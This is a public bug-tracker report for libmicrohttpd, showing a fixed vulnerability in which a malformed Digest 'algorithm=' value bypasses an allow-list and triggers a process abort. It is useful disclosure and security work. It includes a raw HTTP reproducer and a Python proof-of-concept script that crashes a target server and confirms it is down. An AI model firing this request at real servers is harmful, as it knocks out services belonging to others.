View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0011681 | libmicrohttpd | other | public | 2026-07-27 11:27 | 2026-07-28 23:42 |
| Reporter | aramosf | Assigned To | Christian Grothoff | ||
| Priority | high | Severity | major | Reproducibility | always |
| Status | closed | Resolution | fixed | ||
| Product Version | Git master | ||||
| Target Version | 1.0.7 | Fixed in Version | 1.0.7 | ||
| Summary | 0011681: digestauth.c: algorithm allow-list bypass reaches MHD_PANIC — unauthenticated abort | ||||
| Description | Severity: High — unauthenticated remote process abort (denial of service) for any application that calls any MHD_digest_auth_check*() Class: CWE-20 / CWE-248 (improper input validation -> reachable exception) Status: reproduced on Linux, gcc and clang, native ELF builds at -O2 -DNDEBUG -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIE -pie. No special tooling, emulation or non-default options are needed. (Also reproduced on Windows x86-64, MinGW-w64 gcc 13 — noted only as cross-platform corroboration; the defect is platform-independent.) Patch supplied and verified (unpatched dies SIGABRT, patched survives). SUMMARY ------- A single unauthenticated request aborts the process for any application that uses digest authentication, including via the legacy MD5-only entry points, so every malgo3 setting is affected. The shipped src/examples/digest_auth_example.c is vulnerable as written. No credentials, no valid nonce, and no knowledge of the realm are required. ROOT CAUSE ---------- MHD_DIGEST_AUTH_ALGO3_INVALID == 0 (microhttpd.h:4825). The "is the client's algorithm permitted" subset test at digestauth.c:2589-2592 is a bitmask test: if (((unsigned int) c_algo) != (((unsigned int) c_algo) & ((unsigned int) malgo3))) return MHD_DAUTH_WRONG_ALGO; For an unrecognised algorithm= token, c_algo is ..._INVALID == 0, so the test degenerates to (0 != (0 & malgo3)) -> (0 != 0) -> false, and the unknown algorithm passes every guard. digest_init_one_time() then cannot map it to a hash and the code reaches MHD_PANIC at digestauth.c:2634-2635: MHD_PANIC -> mhd_panic_std() -> abort() This is reached BEFORE any realm, username, nonce, URI or response check. The same *_INVALID == 0 hole exists for QOP at digestauth.c:2639 (no memory-safety impact there, but qop=garbage is likewise accepted), so it deserves the same treatment. Version note: tested against 1.0.6 only. | ||||
| Steps To Reproduce | REPRODUCER ---------- GET / HTTP/1.1\r\n Host: x\r\n Authorization: Digest algorithm=x\r\n Connection: close\r\n \r\n Observed: Fatal error in GNU libmicrohttpd digestauth.c:2635: Wrong 'malgo3' value, API violation (process aborts, SIGABRT) ---- #!/usr/bin/env python3 """libmicrohttpd 1.0.6 - #3 digest algorithm allow-list bypass -> MHD_PANIC. One unauthenticated request aborts any app using MHD_digest_auth_check*(). usage: poc3_digest_panic.py <host> <port>""" import socket, sys h, p = sys.argv[1], int(sys.argv[2]) s = socket.create_connection((h, p), 5); s.settimeout(5) s.sendall(b"GET / HTTP/1.1\r\nHost: x\r\n" b"Authorization: Digest algorithm=x\r\nConnection: close\r\n\r\n") try: print("reply:", s.recv(200) or b"(connection closed, no reply)") except Exception as e: print("reply:", e) s.close() try: socket.create_connection((h, p), 3).close(); print("server: STILL UP") except Exception: print("server: DOWN (SIGABRT)") | ||||
| Tags | No tags attached. | ||||
| Date Modified | Username | Field | Change |
|---|---|---|---|
| 2026-07-27 11:27 | aramosf | New Issue | |
| 2026-07-27 18:22 | Christian Grothoff | Assigned To | => Christian Grothoff |
| 2026-07-27 18:22 | Christian Grothoff | Status | new => resolved |
| 2026-07-27 18:22 | Christian Grothoff | Resolution | open => fixed |
| 2026-07-27 18:22 | Christian Grothoff | Fixed in Version | => 1.0.7 |
| 2026-07-27 18:22 | Christian Grothoff | Product Version | => Git master |
| 2026-07-27 18:22 | Christian Grothoff | Target Version | => 1.0.7 |
| 2026-07-28 23:41 | Christian Grothoff | View Status | private => public |
| 2026-07-28 23:42 | Christian Grothoff | Status | resolved => closed |